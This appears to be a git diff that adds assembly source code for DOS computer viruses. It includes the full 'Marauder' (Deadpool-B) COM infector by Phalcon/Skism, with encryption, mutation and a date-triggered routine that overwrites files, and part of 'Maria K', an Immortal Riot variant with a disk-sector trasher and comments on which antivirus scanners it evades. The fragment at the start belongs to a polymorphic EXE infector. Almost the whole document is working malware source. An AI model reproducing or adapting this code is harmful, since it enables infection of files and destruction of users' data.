; Space for the created decryptionroutine
|
||||||
|
|
||||||
|
InitCX1 db ?,?,? ; mov cx,virsize+(0 to 7)
|
||||||
|
InitSI1 db ?,?,? ; mov si,offset start
|
||||||
|
CCode1 dd ?,?,?,?,?,?,?,? ; 1 to 15 decryptrows
|
||||||
|
dd ?,?,?,?,?,?,?
|
||||||
|
dd ?,? ; + loop statement
|
||||||
|
|
||||||
|
; Space for the created encryptionroutine
|
||||||
|
|
||||||
|
CCode2 dd ?,?,?,?,?,?,?,? ; 1 to 15 decryptrows
|
||||||
|
dd ?,?,?,?,?,?,?
|
||||||
|
dd ?,?
|
||||||
|
|
||||||
|
EXE_Header: ; Structure
|
||||||
|
EXE_Sig dw ? ; MZ or ZM
|
||||||
|
EXE_Mod dw ? ; size - int(size/512)
|
||||||
|
EXE_Siz dw ? ; size/512
|
||||||
|
EXE_Rel dw ? ; Relocation iems
|
||||||
|
EXE_SHe dw ? ; Size of header/16
|
||||||
|
EXE_Min dw ? ; Min mem/16
|
||||||
|
EXE_Max dw ? ; Max mem/16
|
||||||
|
EXE_SS dw ? ; Stack Segement
|
||||||
|
EXE_SP dw ? ; Stack Pointer
|
||||||
|
EXE_CHK dw ? ; Checksum
|
||||||
|
EXE_IP dw ? ; Instruction Pointer
|
||||||
|
EXE_CS dw ? ; Code Segment
|
||||||
|
EXE_Win db ? ; 40h if Windows EXE
|
||||||
|
|
||||||
|
VirStk: db 32 dup (?) ; Stack used by the virus (EXE only)
|
||||||
|
|
||||||
|
code_end:
|
||||||
|
end start
|
||||||
|
;===============================================================================
|
||||||
@@ -0,0 +1,610 @@
|
|||||||
|
; "Marauder" Virus
|
||||||
|
; AKA Deadpool-B
|
||||||
|
;
|
||||||
|
; By Hellraiser
|
||||||
|
; Of Phalcon/Skism
|
||||||
|
;
|
||||||
|
; For virus reseach only
|
||||||
|
;
|
||||||
|
; I always wanted to release this source, so here it is. Now that it's been caught
|
||||||
|
; take a look at whats inside.
|
||||||
|
;
|
||||||
|
; I know it's no great thing, but it's good to learn from. It contains basic
|
||||||
|
; encryption, mutation, and INT 24 handling.
|
||||||
|
;
|
||||||
|
; I will be very upset if I see 100 new versions of this code with some lame kids
|
||||||
|
; name in place of mine. So just use it to learn from, it's very straight foward.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
code segment 'code'
|
||||||
|
assume cs:code, ds:code, ss:code, es:code
|
||||||
|
org 0100h
|
||||||
|
|
||||||
|
dta EQU endcode + 10
|
||||||
|
headlength EQU headend - headstart
|
||||||
|
bodylength EQU bodyend - bodystart
|
||||||
|
encryptpart EQU bodyend - mixed_up
|
||||||
|
part1size EQU part2 - part1
|
||||||
|
part2size EQU parta - part2
|
||||||
|
partasize EQU partb - parta
|
||||||
|
partbsize EQU dude - partb
|
||||||
|
mutants EQU chris - part1
|
||||||
|
total_mutant EQU mutants / 2
|
||||||
|
encryptlength EQU encryptpart / 2
|
||||||
|
virus_size EQU headlength + bodylength + 5 ; head + body + int24 + 2
|
||||||
|
drive EQU endcode + 110
|
||||||
|
backslash EQU endcode + 111
|
||||||
|
orig_path EQU endcode + 113
|
||||||
|
dirdta EQU orig_path + 66
|
||||||
|
myid EQU 88h
|
||||||
|
toolarge EQU 65535 - virus_size
|
||||||
|
fileattr EQU 21
|
||||||
|
filetime EQU 22
|
||||||
|
filedate EQU 24
|
||||||
|
filename EQU 30
|
||||||
|
|
||||||
|
headstart:
|
||||||
|
|
||||||
|
jmp bodystart
|
||||||
|
db myid
|
||||||
|
headend:
|
||||||
|
|
||||||
|
realprogramstart:
|
||||||
|
db 90h, 90h, 90h
|
||||||
|
db 0cdh, 020h, 1ah, 1ah
|
||||||
|
realprogramend:
|
||||||
|
|
||||||
|
bodystart:
|
||||||
|
call deadpool
|
||||||
|
deadpool:
|
||||||
|
pop si
|
||||||
|
sub si,offset deadpool
|
||||||
|
call encrypt
|
||||||
|
jmp chris
|
||||||
|
|
||||||
|
enc_code dw 0000h
|
||||||
|
|
||||||
|
encrypt proc near
|
||||||
|
assume cs:code, ds:code, es:code, ss:code
|
||||||
|
|
||||||
|
part1_:
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
mov cx, encryptlength
|
||||||
|
mov bp, si
|
||||||
|
add si, offset bodyend
|
||||||
|
mov di,si
|
||||||
|
std
|
||||||
|
xor_loop:
|
||||||
|
lodsw
|
||||||
|
xor ax, [bp + enc_code]
|
||||||
|
stosw
|
||||||
|
loop xor_loop
|
||||||
|
done_:
|
||||||
|
mov si, bp
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
|
||||||
|
ret
|
||||||
|
;nop
|
||||||
|
|
||||||
|
encrypt endp
|
||||||
|
|
||||||
|
|
||||||
|
infect proc near
|
||||||
|
|
||||||
|
call encrypt
|
||||||
|
int 21h
|
||||||
|
call encrypt
|
||||||
|
ret
|
||||||
|
|
||||||
|
infect endp
|
||||||
|
|
||||||
|
|
||||||
|
mixed_up:
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
part1:
|
||||||
|
push dx
|
||||||
|
push cx
|
||||||
|
push bx
|
||||||
|
push ax
|
||||||
|
mov cx, encryptlength
|
||||||
|
mov bp, si
|
||||||
|
add si, offset mixed_up
|
||||||
|
mov di,si
|
||||||
|
cld
|
||||||
|
|
||||||
|
part2:
|
||||||
|
mov si, bp
|
||||||
|
pop ax
|
||||||
|
pop bx
|
||||||
|
pop cx
|
||||||
|
pop dx
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
parta:
|
||||||
|
mov bp, si
|
||||||
|
add si, offset endcode
|
||||||
|
mov di, si
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
mov cx, encryptlength
|
||||||
|
std
|
||||||
|
|
||||||
|
partb:
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
mov si, bp
|
||||||
|
|
||||||
|
|
||||||
|
dude:
|
||||||
|
|
||||||
|
; don't get any ideas lamer
|
||||||
|
|
||||||
|
hellraiser label byte
|
||||||
|
idbuffer db 0cdh, 20h,' [Marauder] 1992 Hellraiser - Phalcon/Skism. '
|
||||||
|
stringsize EQU ($ - hellraiser)
|
||||||
|
|
||||||
|
chris:
|
||||||
|
|
||||||
|
push es
|
||||||
|
mov ax,3524h
|
||||||
|
int 21h
|
||||||
|
mov [si + word ptr oint24], bx
|
||||||
|
mov [si + word ptr oint24 + 2], es
|
||||||
|
pop es
|
||||||
|
|
||||||
|
mov ax, 2524h
|
||||||
|
lea dx, [si + newint24]
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
push si
|
||||||
|
mov ah, 47h
|
||||||
|
xor dl,dl
|
||||||
|
add si, offset orig_path
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
pop si
|
||||||
|
mov ah,19h
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
add al, 41h
|
||||||
|
mov byte ptr [si + offset drive], al
|
||||||
|
|
||||||
|
mov ax, '\:'
|
||||||
|
mov word ptr [si + offset backslash], ax
|
||||||
|
|
||||||
|
;mov byte ptr [si + offset defaultdrive], al
|
||||||
|
|
||||||
|
|
||||||
|
; here's my new tri-dimensional jmp displacement theory in play
|
||||||
|
|
||||||
|
push si
|
||||||
|
pop bp
|
||||||
|
|
||||||
|
lea si, [bp + offset oldjmp]
|
||||||
|
lea di, [bp + offset thisjmp]
|
||||||
|
mov cx,04h
|
||||||
|
cld
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
push bp
|
||||||
|
pop si
|
||||||
|
why:
|
||||||
|
|
||||||
|
mov ah,1ah
|
||||||
|
lea dx,[si + dta]
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,2ah
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
cmp dx, 0202h
|
||||||
|
jne ff
|
||||||
|
jmp smash
|
||||||
|
|
||||||
|
ff:
|
||||||
|
mov ah,4eh
|
||||||
|
lea dx,[si + filespec]
|
||||||
|
mov cx, 07h
|
||||||
|
|
||||||
|
searchloop:
|
||||||
|
|
||||||
|
int 21h
|
||||||
|
jnc here
|
||||||
|
;jmp up
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
mov ah,1ah
|
||||||
|
lea dx,[si + dirdta]
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,3bh
|
||||||
|
lea dx,[si + offset rootdir]
|
||||||
|
int 21h
|
||||||
|
jc at_root
|
||||||
|
jmp why
|
||||||
|
|
||||||
|
at_root:
|
||||||
|
cmp byte ptr [si + donebefore], 01h
|
||||||
|
je notokey
|
||||||
|
|
||||||
|
mov al,01h
|
||||||
|
mov [si + donebefore], al
|
||||||
|
|
||||||
|
mov ah,4eh
|
||||||
|
xor cx,cx
|
||||||
|
mov cl,13h
|
||||||
|
|
||||||
|
|
||||||
|
lea dx, [si + dwildcards]
|
||||||
|
ffdloop:
|
||||||
|
|
||||||
|
int 21h
|
||||||
|
jnc okey
|
||||||
|
jmp far ptr nofilesfound
|
||||||
|
|
||||||
|
notokey:
|
||||||
|
mov ah,4fh
|
||||||
|
jmp ffdloop
|
||||||
|
|
||||||
|
okey:
|
||||||
|
mov ah,3bh
|
||||||
|
lea dx, [si + offset dirdta + filename]
|
||||||
|
int 21h
|
||||||
|
jc notokey
|
||||||
|
jmp why
|
||||||
|
|
||||||
|
|
||||||
|
here:
|
||||||
|
|
||||||
|
mov bx, word ptr [si + offset dta + fileattr]
|
||||||
|
mov word ptr [si + origattr], bx
|
||||||
|
|
||||||
|
mov ax,4301h
|
||||||
|
xor cx,cx
|
||||||
|
lea dx, [si + offset dta + filename]
|
||||||
|
int 21h
|
||||||
|
jc bad_file2
|
||||||
|
|
||||||
|
call openfile
|
||||||
|
jc bad_file2
|
||||||
|
|
||||||
|
mov word ptr [si + offset handle], ax
|
||||||
|
|
||||||
|
mov bx, word ptr [si + offset dta + filedate]
|
||||||
|
mov word ptr [si + origdate], bx
|
||||||
|
mov bx, word ptr [si + offset dta + filetime]
|
||||||
|
mov word ptr [si + origtime], bx
|
||||||
|
|
||||||
|
xchg bx, ax
|
||||||
|
|
||||||
|
mov ah, 3fh
|
||||||
|
mov cx, 4
|
||||||
|
lea dx, [si + oldjmp]
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
cmp byte ptr [si + offset oldjmp + 3], myid
|
||||||
|
jne sick_of_it_all
|
||||||
|
|
||||||
|
bad_file:
|
||||||
|
mov ax,4301h
|
||||||
|
mov cx, word ptr [si + offset origattr]
|
||||||
|
lea dx, [si + offset dta + filename]
|
||||||
|
xor ch,ch
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,3eh
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
bad_file2:
|
||||||
|
cmp ax, 05h
|
||||||
|
je dumb
|
||||||
|
cmp ax, 02h
|
||||||
|
je dumb
|
||||||
|
mov ah, 4fh
|
||||||
|
jmp searchloop
|
||||||
|
dumb:
|
||||||
|
jmp nofilesfound
|
||||||
|
|
||||||
|
sick_of_it_all:
|
||||||
|
|
||||||
|
cmp word ptr [si + offset oldjmp], 5a4dh
|
||||||
|
je bad_file
|
||||||
|
|
||||||
|
call seekeof
|
||||||
|
|
||||||
|
cmp ax,0010h
|
||||||
|
jb bad_file
|
||||||
|
cmp ax, toolarge
|
||||||
|
jae bad_file
|
||||||
|
|
||||||
|
|
||||||
|
sub ax,03h
|
||||||
|
mov [si + newjmp + 2], ah
|
||||||
|
mov [si + newjmp+ 1], al
|
||||||
|
mov [si + newjmp + 3], myid
|
||||||
|
mov ah, 0e9h
|
||||||
|
mov [si + newjmp], ah
|
||||||
|
|
||||||
|
xor al,al
|
||||||
|
mov [si + donebefore], al
|
||||||
|
|
||||||
|
inc word ptr [si + generation]
|
||||||
|
|
||||||
|
mov bp, si
|
||||||
|
call enc_enc
|
||||||
|
|
||||||
|
tryagain:
|
||||||
|
mov ah,2ch
|
||||||
|
int 21h
|
||||||
|
cmp dx, 0000h
|
||||||
|
je tryagain
|
||||||
|
mov word ptr [si + offset enc_code], dx
|
||||||
|
|
||||||
|
|
||||||
|
mov cl, 8
|
||||||
|
ror dx, cl
|
||||||
|
mov word ptr [si + offset mutantcode], dx
|
||||||
|
|
||||||
|
cmp dl, 30
|
||||||
|
jng encrypt_a
|
||||||
|
jmp encrypt_b
|
||||||
|
|
||||||
|
|
||||||
|
encrypt_a:
|
||||||
|
;mov bp, si
|
||||||
|
|
||||||
|
lea si,[bp + offset part1]
|
||||||
|
lea di,[bp + offset part1_]
|
||||||
|
mov cx, part1size
|
||||||
|
call dostring
|
||||||
|
lea si,[bp + offset part2]
|
||||||
|
lea di,[bp + offset done_]
|
||||||
|
|
||||||
|
mov cx, part2size
|
||||||
|
call dostring
|
||||||
|
|
||||||
|
jmp attach
|
||||||
|
|
||||||
|
encrypt_b:
|
||||||
|
|
||||||
|
lea si,[bp + offset parta]
|
||||||
|
lea di,[bp + offset part1_]
|
||||||
|
mov cx, part1size
|
||||||
|
call dostring
|
||||||
|
|
||||||
|
lea si,[bp + offset partb]
|
||||||
|
lea di,[bp + offset done_]
|
||||||
|
mov cx, part2size
|
||||||
|
call dostring
|
||||||
|
|
||||||
|
attach:
|
||||||
|
call enc_enc
|
||||||
|
|
||||||
|
mov si,bp
|
||||||
|
mov ah,40h
|
||||||
|
mov cx, bodyend - bodystart
|
||||||
|
add cx, 5
|
||||||
|
lea dx,[si + bodystart]
|
||||||
|
call infect
|
||||||
|
jc close_file
|
||||||
|
|
||||||
|
|
||||||
|
call seektof
|
||||||
|
|
||||||
|
mov ah,40h
|
||||||
|
mov cx, 4
|
||||||
|
lea dx,[si + offset newjmp]
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
close_file:
|
||||||
|
|
||||||
|
|
||||||
|
mov ax,5701h
|
||||||
|
mov cx, word ptr [si + offset origtime]
|
||||||
|
mov dx, word ptr [si + offset origdate]
|
||||||
|
mov bx, word ptr [si + offset handle]
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah, 3eh
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ax,4301h
|
||||||
|
mov cx, word ptr [si + offset origattr]
|
||||||
|
lea dx, [si + offset dta + filename]
|
||||||
|
xor ch,ch
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
|
||||||
|
nofilesfound:
|
||||||
|
|
||||||
|
mov ah, 03bh
|
||||||
|
lea dx, [si + offset drive]
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
restoredta:
|
||||||
|
mov ah, 1ah
|
||||||
|
mov dx, 080h
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
push si
|
||||||
|
pop bp
|
||||||
|
|
||||||
|
mov ax, 2524h
|
||||||
|
lea dx, [si + oint24]
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
lea si,[bp + offset thisjmp]
|
||||||
|
mov di,100h
|
||||||
|
|
||||||
|
mov cx,04h
|
||||||
|
cld
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
mov di, 0100h
|
||||||
|
jmp di
|
||||||
|
|
||||||
|
smash proc near
|
||||||
|
|
||||||
|
call enc_enc
|
||||||
|
mov ah, 4eh
|
||||||
|
mov cx, 07h
|
||||||
|
lea dx, [si + offset dwildcards] ;
|
||||||
|
|
||||||
|
r_loop:
|
||||||
|
int 21h
|
||||||
|
jc restoredta
|
||||||
|
|
||||||
|
call kill
|
||||||
|
|
||||||
|
mov ah, 4fh
|
||||||
|
jmp r_loop
|
||||||
|
|
||||||
|
smash endp
|
||||||
|
|
||||||
|
dostring proc near
|
||||||
|
|
||||||
|
cld
|
||||||
|
rep movsb
|
||||||
|
ret
|
||||||
|
|
||||||
|
dostring endp
|
||||||
|
|
||||||
|
|
||||||
|
enc_enc proc near
|
||||||
|
|
||||||
|
mov si, bp
|
||||||
|
add si, offset part1
|
||||||
|
mov di, si
|
||||||
|
mov cx, total_mutant
|
||||||
|
|
||||||
|
loop_xor:
|
||||||
|
lodsw
|
||||||
|
xor ax, [bp + mutantcode] ;
|
||||||
|
stosw
|
||||||
|
loop loop_xor
|
||||||
|
|
||||||
|
mov si, bp
|
||||||
|
ret
|
||||||
|
|
||||||
|
enc_enc endp
|
||||||
|
|
||||||
|
seektof proc near
|
||||||
|
|
||||||
|
mov ax,4200h
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
ret
|
||||||
|
|
||||||
|
seektof endp
|
||||||
|
|
||||||
|
|
||||||
|
seekeof proc near
|
||||||
|
|
||||||
|
mov ax,4202h
|
||||||
|
xor dx,dx
|
||||||
|
xor cx,cx
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
ret
|
||||||
|
|
||||||
|
seekeof endp
|
||||||
|
|
||||||
|
|
||||||
|
openfile proc near
|
||||||
|
|
||||||
|
mov ax,3d02h
|
||||||
|
lea dx, [si + offset dta + filename]
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
ret
|
||||||
|
|
||||||
|
openfile endp
|
||||||
|
|
||||||
|
kill proc near
|
||||||
|
|
||||||
|
call openfile
|
||||||
|
jc return
|
||||||
|
mov bx, ax
|
||||||
|
|
||||||
|
push bx
|
||||||
|
|
||||||
|
call seekeof
|
||||||
|
|
||||||
|
mov bx, stringsize
|
||||||
|
div bx
|
||||||
|
mov cx, ax
|
||||||
|
pop bx
|
||||||
|
push cx
|
||||||
|
|
||||||
|
call seektof
|
||||||
|
pop cx
|
||||||
|
|
||||||
|
|
||||||
|
loop_:
|
||||||
|
push cx
|
||||||
|
mov ah, 40h
|
||||||
|
mov cx, stringsize
|
||||||
|
lea dx, [si + offset idbuffer]
|
||||||
|
int 21h
|
||||||
|
jc ender
|
||||||
|
pop cx
|
||||||
|
dec cx
|
||||||
|
jcxz ender
|
||||||
|
jmp loop_
|
||||||
|
ender:
|
||||||
|
|
||||||
|
mov ah, 3eh
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
return:
|
||||||
|
ret
|
||||||
|
|
||||||
|
kill endp
|
||||||
|
|
||||||
|
|
||||||
|
filespec db '*.COM',0
|
||||||
|
dwildcards db '*.*',0
|
||||||
|
rootdir db '..',0
|
||||||
|
generation dw 0000
|
||||||
|
origdate dw ?
|
||||||
|
origtime dw ?
|
||||||
|
origattr db ?
|
||||||
|
handle dw ?
|
||||||
|
defaultdrive db ?
|
||||||
|
oldjmp db 09h, 0cdh, 020h, 90h
|
||||||
|
thisjmp db 4 dup (?)
|
||||||
|
newjmp db 4 dup (?)
|
||||||
|
mutantcode dw 0000
|
||||||
|
donebefore db 00
|
||||||
|
oint24 dd 00
|
||||||
|
|
||||||
|
bodyend:
|
||||||
|
|
||||||
|
; not encrypted
|
||||||
|
|
||||||
|
newint24:
|
||||||
|
xor al,al
|
||||||
|
iret
|
||||||
|
endcode:
|
||||||
|
|
||||||
|
code ends
|
||||||
|
end headstart
|
||||||
|
|
||||||
|
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,625 @@
|
|||||||
|
; VirusName : Maria K..
|
||||||
|
; Country : Sweden
|
||||||
|
; Author : The Unforiven / Immortal Riot
|
||||||
|
; Date : 26/09/1993
|
||||||
|
;
|
||||||
|
; This is a mutation of the "Bobvirus" written by Phalcon/Skism,
|
||||||
|
; Many thanks must go to the scratch coder of this one..(DA?)
|
||||||
|
;
|
||||||
|
; Mcafee Scan used to find this as "Cloud" Virus, But also
|
||||||
|
; as the "Beta" Virus. So..two guys in this little babe...
|
||||||
|
;
|
||||||
|
; This is a non-overwriting .COM files infector, it doesn't do
|
||||||
|
; anything to .EXE files, nor command.com. This goes memory
|
||||||
|
; resident. When it "goes-off", it prints out a "BOBism" every
|
||||||
|
; 5 minutes. If the virus finds itself in the memory, it will not
|
||||||
|
; go up again. It will NOT infect a program when you starts it,
|
||||||
|
; it's just the "printer-part" who is in memory"..
|
||||||
|
;
|
||||||
|
; This version is not encrypted as the original one, but instead,
|
||||||
|
; a hd-trasher has been added, so if some infected file is ran
|
||||||
|
; at the 2:nd every month, someone (me), will be very pleased..
|
||||||
|
;
|
||||||
|
; Scan v108 can't find this, BUT! S&S Toolkit 6.54 do find it!
|
||||||
|
; F-Prot (2.09) DON'T find this and TBScan can't identify it
|
||||||
|
; as the "original" virus, It says it's some "Unknown Virus".
|
||||||
|
;
|
||||||
|
; Okey, think that's all, have phun, and remember,
|
||||||
|
; livi'n ain't no crime!
|
||||||
|
;
|
||||||
|
|
||||||
|
CODE SEGMENT PUBLIC 'CODE'
|
||||||
|
ORG 100h
|
||||||
|
ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE
|
||||||
|
|
||||||
|
DTA_fileattr EQU 21
|
||||||
|
DTA_filetime EQU 22
|
||||||
|
DTA_filedate EQU 24
|
||||||
|
DTA_filesize EQU 26
|
||||||
|
DTA_filename EQU 30
|
||||||
|
|
||||||
|
virus_marker equ 026FFh ; JMP WORD PTR
|
||||||
|
virus_marker2 equ 00104h ; 0104h
|
||||||
|
part1_size equ part1_end - part1_start
|
||||||
|
part2_size equ part2_end - part2_start
|
||||||
|
offset_off equ duh2
|
||||||
|
init_delay equ 5280 ; Initial delay
|
||||||
|
delay equ 400 ; Subsequent delay
|
||||||
|
num_Messages equ 7 ; Number of "Bob" messages
|
||||||
|
waves equ 7 ; Number of waves to go off after
|
||||||
|
infec_date equ 0606h ; Swedish National Day (0606)..
|
||||||
|
|
||||||
|
Counter equ 108h
|
||||||
|
D_Mess equ 110h
|
||||||
|
Int_08_Start equ 112h
|
||||||
|
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
; S&S Toolkit 6.54 (FindViru) "string" is placed at the "jmp word ptr duh",
|
||||||
|
; If you finds something to add here, then do! The place he placed his
|
||||||
|
; string is there the virus identify itselves, and I've failed with get
|
||||||
|
; the virus to work after some dully attempt to add some meanless shit.
|
||||||
|
; Anyhow..I must say that Alan kicks my ass here!..Eat my shorts!..
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
part1_start:
|
||||||
|
jmp word ptr duh
|
||||||
|
duh dw middle_part_end - part1_start + 100h
|
||||||
|
duh2 dw 0
|
||||||
|
part1_end:
|
||||||
|
|
||||||
|
middle_part_start:
|
||||||
|
middle_part_end:
|
||||||
|
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
;Part 2 begins: Dis is the D-Cool part
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
part2_start:
|
||||||
|
cld
|
||||||
|
call decrypt
|
||||||
|
mov si, offset Go
|
||||||
|
add si, offset_off
|
||||||
|
jmp si
|
||||||
|
|
||||||
|
encrypt_val db 00h
|
||||||
|
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
; Encrypt/Decrypt isn't really a "Crypt" Routine. Instead, it will check
|
||||||
|
; what day it if, and if it's the second (2:nd) any month, procedure Stone-
|
||||||
|
; Heart will blow off. Stoneheart makes your "heart"-drives be quite empty.
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
DECRYPT:
|
||||||
|
ENCRYPT:
|
||||||
|
mov ah,2ah ; Day-Checking..
|
||||||
|
int 21h ;
|
||||||
|
cmp dl,02 ; Check if day 02..
|
||||||
|
je STONEHEART ; If So..you're a lucky guy
|
||||||
|
jmp SORRY ; Otherwise..try with "date 02"..
|
||||||
|
|
||||||
|
STONEHEART: ; Name of her..
|
||||||
|
cli ;
|
||||||
|
mov ah,2 ; Starting right on..
|
||||||
|
cwd ; Starting it from 0.
|
||||||
|
mov cx,0100h ; Continue to 256....
|
||||||
|
int 026h ; No Exchauses!
|
||||||
|
jmp MARIA ; Jump For Joy..(J4J)..
|
||||||
|
|
||||||
|
MARIA: ; Yeah, her's other handle..
|
||||||
|
CLI ;
|
||||||
|
MOV AL,3 ; Continue with drive D..
|
||||||
|
MOV CX,700 ; Make drive d's heart fall apart..
|
||||||
|
MOV DX,00 ; Start from sector 0
|
||||||
|
MOV DS,[DI+99] ; Put random crap in DS
|
||||||
|
MOV BX,[DI+55] ; More crap in BX
|
||||||
|
CALL STONEHEART ; J4J..once again..
|
||||||
|
|
||||||
|
SORRY: ; I'm feeling soo sorry for you!
|
||||||
|
RET ; Cuz you managed to return!
|
||||||
|
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
; This used to be under Decrypt/Encrypt, but well, since I don't want
|
||||||
|
; no encryptions in this virus, I just remarked this..And well, Mcaffe's
|
||||||
|
; Beta String used to be place at "mov di, si", that might also be a little
|
||||||
|
; reason..Anyhow..since I didn't coded this from scratch, I can't deny you
|
||||||
|
; from modify in this code..So..Get your Encryption if you wants!
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
; MOV si, offset encrypt_val
|
||||||
|
; ADD si, offset_off
|
||||||
|
; MOV ah, byte ptr [si]
|
||||||
|
; MOV cx, offset part2_end - offset bam_bam
|
||||||
|
; ADD si, offset bam_bam - offset encrypt_val
|
||||||
|
; MOV di, si ; - "Beta-String used to be here..
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
xor_loop:
|
||||||
|
lodsb ; DS:[SI] -> AL
|
||||||
|
xor al, ah
|
||||||
|
stosb
|
||||||
|
loop xor_loop
|
||||||
|
ret
|
||||||
|
|
||||||
|
copy_rest_stuff:
|
||||||
|
; Copying routine
|
||||||
|
push si ; SI -> buffer3
|
||||||
|
call encrypt
|
||||||
|
mov cx, part2_size
|
||||||
|
pop dx
|
||||||
|
add dx, offset part2_start - offset buffer3
|
||||||
|
mov ah, 40h
|
||||||
|
int 21h
|
||||||
|
call decrypt ; See what to do..
|
||||||
|
bam_bam:
|
||||||
|
ret
|
||||||
|
|
||||||
|
buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0
|
||||||
|
buffer2 db part1_end - part1_start dup (?)
|
||||||
|
buffer3 dw ?
|
||||||
|
orig_path db 64 dup (?)
|
||||||
|
num_infec db 0 ; Infection wave number
|
||||||
|
infec_now db 0 ; Number files infected this time
|
||||||
|
root_dir db '\',0 ; Root Dir spec
|
||||||
|
com_mask db '*.com',0 ; Files to infect
|
||||||
|
dir_mask db '*.*',0 ; Files to search for..
|
||||||
|
back_dir db '..',0 ; Dot-Dot..
|
||||||
|
nest dw 0
|
||||||
|
|
||||||
|
DTA db 43 DUP (0) ; For use by infect_dir
|
||||||
|
|
||||||
|
Go: ; Proc there Mcaf "cloud" string is placed.
|
||||||
|
|
||||||
|
add si, offset buffer - offset Go
|
||||||
|
mov di, si
|
||||||
|
add di, offset buffer2 - offset buffer
|
||||||
|
cmp dx, infec_date ; Added this two lines, and
|
||||||
|
jz Go_Psycho ; "Cloud" string is gone...
|
||||||
|
mov cx, part1_size
|
||||||
|
rep movsb
|
||||||
|
mov ah, 47h ; Get directory
|
||||||
|
xor dl,dl ; Default drive
|
||||||
|
add si, offset orig_path - offset buffer - 8
|
||||||
|
int 21h ; in orig_path
|
||||||
|
|
||||||
|
jc Go_Error
|
||||||
|
mov ah, 3Bh ; Change directory
|
||||||
|
mov dx, si ; to the root dir
|
||||||
|
add dx, offset root_dir - offset orig_path
|
||||||
|
int 21h
|
||||||
|
jc Go_Error
|
||||||
|
|
||||||
|
add si, offset num_infec - offset orig_path
|
||||||
|
